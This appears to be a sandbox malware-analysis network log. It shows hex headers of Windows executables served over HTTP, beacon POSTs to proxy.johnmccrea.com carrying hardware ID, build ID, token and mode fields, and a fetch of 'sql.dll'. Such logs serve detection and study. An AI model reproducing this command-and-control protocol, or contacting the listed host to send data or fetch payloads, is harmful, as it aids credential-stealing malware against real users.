Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Sun, 06 Oct 2024 20:33:15 GMTContent-Type: application/octet-streamContent-Length: 450024Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-6dde8"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Sun, 06 Oct 2024 20:33:15 GMTContent-Type: application/octet-streamContent-Length: 257872Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-3ef50"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Sun, 06 Oct 2024 20:33:16 GMTContent-Type: application/octet-streamContent-Length: 80880Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-13bf0"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Sun, 06 Oct 2024 20:33:16 GMTContent-Type: application/octet-streamContent-Length: 2046288Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-1f3950"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Sun, 06 Oct 2024 20:33:23 GMTContent-Type: application/octet-streamContent-Length: 561016Last-Modified: Sun, 06 Oct 2024 20:22:22 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "6702f17e-88f78"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd 86 39 06 f9 e7 57 55 f9 e7 57 55 f9 e7 57 55 2a 95 54 54 f5 e7 57 55 2a 95 52 54 52 e7 57 55 2a 95 53 54 ec e7 57 55 2a 95 56 54 fa e7 57 55 f9 e7 56 55 ae e7 57 55 e9 63 54 54 ed e7 57 55 e9 63 53 54 eb e7 57 55 e9 63 52 54 b4 e7 57 55 b1 62 5e 54 f8 e7 57 55 b1 62 a8 55 f8 e7 57 55 b1 62 55 54 f8 e7 57 55 52 69 63 68 f9 e7 57 55 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7d f1 02 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 29 00 10 02 00 00 60 06 00 00 00 00 00 99 6c 00 00 00 10 00 00 00 20 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 08 00 00 04 00 00 2b 6d 08 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 80 b6 02 00 28 00 00 00 00 70 08 00 d5 01 00 00 00 00 00 00 00 00 00 00 00 66 08 00 78 29 00 00 00 80 08 00 bc 1a 00 00 a0 9b 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 9a 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 20 02 00 28 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 30 0e 02 00 00 10 00 00 00 10 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 9d 00 00 00 20 02 00 00 9e 00 00 00 14 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 80 a3 05 00 00 c0 02 00 00 96 05 00 00 b2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d5 01 00 00 00 70 08 00 00 02 00 00 00 48 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 bc 1a 00 00 00 80 08 00 00 1c 00 00 00 4a 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBFBFCBFBKECAAKJKFBHost: proxy.johnmccrea.comContent-Length: 255Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 30 30 42 41 38 35 46 34 33 43 34 32 35 33 38 31 37 36 37 36 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 42 2d 2d 0d 0a Data Ascii: ------GDBFBFCBFBKECAAKJKFBContent-Disposition: form-data; name="hwid"200BA85F43C4253817676-a33c7340-61ca------GDBFBFCBFBKECAAKJKFBContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------GDBFBFCBFBKECAAKJKFB--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JDHIEBFHCAKEHIDGHCBAHost: proxy.johnmccrea.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 48 49 45 42 46 48 43 41 4b 45 48 49 44 47 48 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 39 62 62 31 34 31 30 39 37 36 62 63 30 64 38 31 36 31 64 32 62 63 36 63 38 39 64 66 33 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 49 45 42 46 48 43 41 4b 45 48 49 44 47 48 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 49 45 42 46 48 43 41 4b 45 48 49 44 47 48 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 49 45 42 46 48 43 41 4b 45 48 49 44 47 48 43 42 41 2d 2d 0d 0a Data Ascii: ------JDHIEBFHCAKEHIDGHCBAContent-Disposition: form-data; name="token"3a9bb1410976bc0d8161d2bc6c89df3c------JDHIEBFHCAKEHIDGHCBAContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------JDHIEBFHCAKEHIDGHCBAContent-Disposition: form-data; name="mode"1------JDHIEBFHCAKEHIDGHCBA--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEHJKJJJECFHJJJKKECHost: proxy.johnmccrea.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 4b 4a 4a 4a 45 43 46 48 4a 4a 4a 4b 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 39 62 62 31 34 31 30 39 37 36 62 63 30 64 38 31 36 31 64 32 62 63 36 63 38 39 64 66 33 63 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 4b 4a 4a 4a 45 43 46 48 4a 4a 4a 4b 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 4b 4a 4a 4a 45 43 46 48 4a 4a 4a 4b 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 4b 4a 4a 4a 45 43 46 48 4a 4a 4a 4b 4b 45 43 2d 2d 0d 0a Data Ascii: ------IIEHJKJJJECFHJJJKKECContent-Disposition: form-data; name="token"3a9bb1410976bc0d8161d2bc6c89df3c------IIEHJKJJJECFHJJJKKECContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------IIEHJKJJJECFHJJJKKECContent-Disposition: form-data; name="mode"2------IIEHJKJJJECFHJJJKKEC--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDAAKJJDAAKFHJKJKFCHost: proxy.johnmccrea.comContent-Length: 332Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 39 62 62 31 34 31 30 39 37 36 62 63 30 64 38 31 36 31 64 32 62 63 36 63 38 39 64 66 33 63 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 2d 2d 0d 0a Data Ascii: ------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="token"3a9bb1410976bc0d8161d2bc6c89df3c------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="mode"21------BGDAAKJJDAAKFHJKJKFC--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KFHCAEGCBFHJDGCBFHDAHost: proxy.johnmccrea.comContent-Length: 6953Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //sql.dll HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
